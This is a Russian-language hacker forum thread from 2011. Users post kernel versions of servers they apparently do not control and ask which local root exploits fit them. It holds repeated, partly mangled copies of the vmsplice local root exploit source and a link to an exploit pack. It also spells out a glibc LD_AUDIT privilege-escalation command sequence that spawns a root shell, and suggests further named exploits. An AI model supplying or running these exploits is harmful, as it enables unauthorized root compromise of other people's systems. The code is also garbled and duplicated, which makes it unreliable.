
17.07.2011, 08:07
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Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
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Сообщение от winstrool
вот это интиресует:
Linux **** 2.6.18-92.1.22.el5 #1 SMP Tue Dec 16 12:03:43 EST 2008 i686
Для ядер 2.6.х даты сборки до июля 2009 идеально подходит сборка enlightenment:
http://www.grsecurity.net/~spender/enlightenment.tgz
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18.07.2011, 00:44
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Участник форума
Регистрация: 21.02.2009
Сообщений: 228
С нами:
9062055
Репутация:
368
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Сообщение от edge911
Linux 2.6.33.7-vs2.3.0.36.30.4 #23 SMP Tue Sep 28 05:47:35 PDT 2010 x86_64
Linux 2.6.18-238.12.1.el5PAE #1 SMP Tue May 31 14:02:45
Linux 2.4 #1 SMP Thu Nov 25 01:59:22 UTC 2010 i686 GNU/Linux
FreeBSD 7.3-RELEASE-p2 FreeBSD 7.3-RELEASE-p2 #0: Wed Aug 18 19:46:13 EDT
подскажите, плиз
мм?
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18.07.2011, 08:06
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Постоянный
Регистрация: 07.03.2011
Сообщений: 963
С нами:
7991606
Репутация:
37
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2.6.18 exploit
может кто подскажет почему ощибку дает:
2 сплоита
один на паблик выложен но умышленно не доделан:
[CODE]
/*
/*
* jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.18 - 2011
*
* This is quite old code and I had to rewrite it to even compile.
* It should work well, but I don't remeber original intent of all
* the code, so I'm not 100% sure about it. You've been warned 
*
* -static -Wno-format
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define __KERNEL__
#include
#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
void exit_code();
char exit_stack[1024 * 1024];
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs  0), %0"
: "=r" (curr)
);
return (void *) curr;
}
#else
#error "unsupported arch"
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i flags = 1 private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;
/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags = 1 private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;
/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);
/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE)
*
* -static -Wno-format
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define __KERNEL__
#include
#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
void exit_code();
char exit_stack[1024 * 1024];
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs0), %0"
: "=r" (curr)
);
return (void *) curr;
}
#else
#error "unsupported arch"
#endif
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18.07.2011, 15:43
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Новичок
Регистрация: 04.10.2009
Сообщений: 5
С нами:
8738852
Репутация:
0
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vasykas, вот исправленный код первого сплойта с твоего сообщения:
[CODE]
/*
* jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.18 - 2011
*
* This is quite old code and I had to rewrite it to even compile.
* It should work well, but I don't remeber original intent of all
* the code, so I'm not 100% sure about it. You've been warned 
*
* -static -Wno-format
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
//#include
#define PAGE_SIZE getpagesize()
#define __KERNEL__
#include
#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
void exit_code();
char exit_stack[1024 * 1024];
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs  0), %0"
: "=r" (curr)
);
return (void *) curr;
}
#else
#error "unsupported arch"
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i flags = 1 private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;
/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags = 1 private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;
/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);
/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE)
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19.07.2011, 21:12
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Постоянный
Регистрация: 07.03.2011
Сообщений: 963
С нами:
7991606
Репутация:
37
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[QUOTE="sevenup"]
vasykas, вот исправленный код первого сплойта с твоего сообщения:
[CODE]
/*
* jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.18 - 2011
*
* This is quite old code and I had to rewrite it to even compile.
* It should work well, but I don't remeber original intent of all
* the code, so I'm not 100% sure about it. You've been warned 
*
* -static -Wno-format
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
//#include
#define PAGE_SIZE getpagesize()
#define __KERNEL__
#include
#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
void exit_code();
char exit_stack[1024 * 1024];
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs  0), %0"
: "=r" (curr)
);
return (void *) curr;
}
#else
#error "unsupported arch"
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i flags = 1 private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;
/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags = 1 private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;
/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);
/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE)
#include
#include
#include
#include
#include
#include
#include
#include
#include
//#include
#define PAGE_SIZE getpagesize()
#define __KERNEL__
#include
#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
void exit_code();
char exit_stack[1024 * 1024];
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs  0), %0"
: "=r" (curr)
);
return (void *) curr;
}
#else
#error "unsupported arch"
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i flags = 1 private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;
/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags = 1 private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;
/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);
/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE)
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19.07.2011, 21:51
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Новичок
Регистрация: 04.10.2009
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8738852
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0
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Сообщение от vasykas
скомпилился но не помогло
ты просил помочь с ошибками...ты же не думал, что рабочий приватный сплойт будет выложен в паблик с такой смешной недоработкой
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20.07.2011, 15:07
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Новичок
Регистрация: 28.05.2011
Сообщений: 18
С нами:
7873526
Репутация:
1
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будьте так любезны, подберите сплоит под
OS version: Linux version 2.6.32-3-amd64 (Debian 2.6.32-9) (maks@debian.org) (gcc version 4.3.4 (Debian 4.3.4-8) ) #1 SMP Wed Feb 24 18:07:42 UTC 2010
Distr name: Debian GNU/Linux 6.0
пробовал _1337day.com/exploits/14601
но не разобрался как с ним работать
пробовал r00t.sh (не запустился)
пробовал через libpcprofile.so нет прав на запись..
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20.07.2011, 17:58
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Новичок
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8738852
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0
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Сообщение от C-r-A-c-K
будьте так любезны, подберите сплоит под
OS version: Linux version 2.6.32-3-amd64 (Debian 2.6.32-9) (maks@debian.org) (gcc version 4.3.4 (Debian 4.3.4-8) ) #1 SMP Wed Feb 24 18:07:42 UTC 2010
Distr name: Debian GNU/Linux 6.0
пробовал _1337day.com/exploits/14601
но не разобрался как с ним работать
пробовал r00t.sh (не запустился)
пробовал через libpcprofile.so нет прав на запись..
Судя по вашему сообщению через libpcprofile.so вы пробовали сделать выполнение крон...но данный дистрибутив должен пробиваться стандартным способом баги Glib...
вот перечень команд:
Код:
$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3 payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
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20.07.2011, 19:44
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Новичок
Регистрация: 28.05.2011
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7873526
Репутация:
1
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к сожалению такой метод не прошел.
запрещены хард-линки
ОС установленна в отдельный сектор, где не нашел ни единой папки с правами на запись.
посмотрите что-нибудь еще пожалуйста.
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20.07.2011, 20:21
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Новичок
Регистрация: 04.10.2009
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С нами:
8738852
Репутация:
0
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Сообщение от C-r-A-c-K
к сожалению такой метод не прошел.
запрещены хард-линки
ОС установленна в отдельный сектор, где не нашел ни единой папки с правами на запись.
посмотрите что-нибудь еще пожалуйста.
ну прав на запись там и не должно нигде быть..в том методе, права на запись нужны только в папке tmp...а там они всегда есть...
пройбуй роберт ю сак, фулл нельсон.
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